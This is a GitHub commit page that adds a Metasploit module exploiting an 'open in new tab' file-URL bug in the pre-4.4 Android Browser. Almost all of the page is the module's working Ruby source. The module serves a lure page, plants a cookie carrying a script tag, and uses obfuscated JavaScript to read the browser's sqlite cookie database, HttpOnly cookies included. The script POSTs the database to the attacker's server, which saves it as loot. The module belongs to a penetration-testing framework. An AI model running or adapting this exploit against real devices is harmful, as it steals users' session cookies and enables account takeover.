Skip to content

Commit 1dd9d60

Browse files
author
Tod Beardsley
committed
Land rapid7#4461, Android cookie database theft
` Thanks @jvennix-r7!
2 parents 01daadc + d102223 commit 1dd9d60

File tree

1 file changed

+143
-0
lines changed

1 file changed

+143
-0
lines changed
Lines changed: 143 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,143 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'msf/core/exploit/jsobfu'
8+
9+
class Metasploit3 < Msf::Auxiliary
10+
11+
include Msf::Exploit::Remote::HttpServer::HTML
12+
include Msf::Auxiliary::Report
13+
include Msf::Exploit::JSObfu
14+
15+
def initialize(info={})
16+
super(update_info(info,
17+
'Name' => 'Android Browser "Open in New Tab" Cookie Theft',
18+
'Description' => %q{
19+
In Android (AOSP)'s Browser application and WebView component the
20+
"open in new tab" functionality allows a file URL to be opened. On
21+
versions of Android before 4.4, the path to the sqlite cookie
22+
database could be specified. By saving a cookie containing a <script>
23+
tag and then loading the sqlite database into the browser as an HTML file,
24+
XSS can be achieved inside the cookie file, disclosing *all* cookies
25+
(HttpOnly or not) to an attacker.
26+
},
27+
'Author' => [
28+
'Rafay Baloch', # Discovery of "Open in new tab" bug
29+
'joev' # Cookie theft vector, msf module
30+
],
31+
'License' => MSF_LICENSE,
32+
'Actions' => [[ 'WebServer' ]],
33+
'PassiveActions' => [ 'WebServer' ],
34+
'References' =>
35+
[
36+
# the patch, released against 4.3 AOSP in February 2014
37+
['URL', 'https://android.googlesource.com/platform/packages/apps/Browser/+/d2391b492dec778452238bc6d9d549d56d41c107%5E%21/#F0'],
38+
['URL', 'http://www.rafayhackingarticles.net/2014/12/android-browser-cross-scheme-data.html']
39+
],
40+
'DefaultAction' => 'WebServer'
41+
))
42+
43+
register_options([
44+
OptString.new('COOKIE_FILE', [
45+
true,
46+
'The cookie file (on older 2.x devices this is "webview.db")',
47+
'webviewCookiesChromium.db'
48+
])
49+
], self.class)
50+
end
51+
52+
def on_request_uri(cli, request)
53+
if request.method =~ /POST/i
54+
print_status("Processing exfilrated files...")
55+
process_post(cli, request)
56+
send_response_html(cli, '')
57+
elsif request.uri =~ /\.js$/i
58+
print_status("Sending exploit javascript")
59+
send_response(cli, exfiltration_js, 'Content-type' => 'text/javascript')
60+
else
61+
print_status("Sending exploit landing page...")
62+
send_response_html(cli, landing_page_html)
63+
end
64+
end
65+
66+
def process_post(cli, request)
67+
data = hex2bin(request.body)
68+
print_good "Cookies received: #{request.body.length.to_f/1024}kb"
69+
loot_path = store_loot(
70+
"android.browser.cookies",
71+
'application/x-sqlite3',
72+
cli.peerhost,
73+
data,
74+
'cookies.sqlite',
75+
"#{cli.peerhost.ljust(16)} Android browser cookie database"
76+
)
77+
print_good "SQLite cookie database saved to:\n#{loot_path}"
78+
end
79+
80+
def run
81+
exploit
82+
end
83+
84+
def landing_page_html
85+
%Q|
86+
<!doctype html>
87+
<html>
88+
<head><meta name="viewport" content="width=device-width, user-scalable=no" /></head>
89+
<body style='width:100%;font-size: 16px;'>
90+
<a href='file://#{cookie_path(datastore['COOKIE_FILE'])}##{Rex::Text.encode_base64(exfiltration_js)}'>
91+
Redirecting... To continue, tap and hold here, then choose "Open in a new tab"
92+
</a>
93+
<script>
94+
#{inline_script}
95+
</script>
96+
</body>
97+
</html>
98+
|
99+
end
100+
101+
def exfiltration_js
102+
js_obfuscate %Q|
103+
var x = new XMLHttpRequest();
104+
x.open('GET', '');
105+
x.responseType = 'arraybuffer';
106+
x.onreadystatechange = function(){
107+
if (x.readyState == 4) {
108+
var buff = new Uint8Array(x.response);
109+
var hex = Array.prototype.map.call(buff, function(d){
110+
var c = d.toString(16);
111+
return (c.length < 2) ? '0'+c : c;
112+
}).join('');
113+
var x2 = new XMLHttpRequest();
114+
x2.open('POST', '#{get_uri}/');
115+
x2.setRequestHeader('Content-type', 'text/plain');
116+
x2.send(hex);
117+
}
118+
};
119+
x.send();
120+
121+
|
122+
end
123+
124+
def inline_script
125+
%Q|
126+
document.cookie='#{per_run_token}=<script>eval(atob(location.hash.slice(1)))<\\/script>';
127+
|
128+
end
129+
130+
def cookie_path(file='')
131+
'/data/data/com.android.browser/databases/' + file
132+
end
133+
134+
# TODO: Make this a proper Rex::Text function
135+
def hex2bin(hex)
136+
hex.chars.each_slice(2).map(&:join).map { |c| c.to_i(16) }.map(&:chr).join
137+
end
138+
139+
def per_run_token
140+
@token ||= Rex::Text.rand_text_alpha(rand(2)+1)
141+
end
142+
143+
end

0 commit comments

Comments
 (0)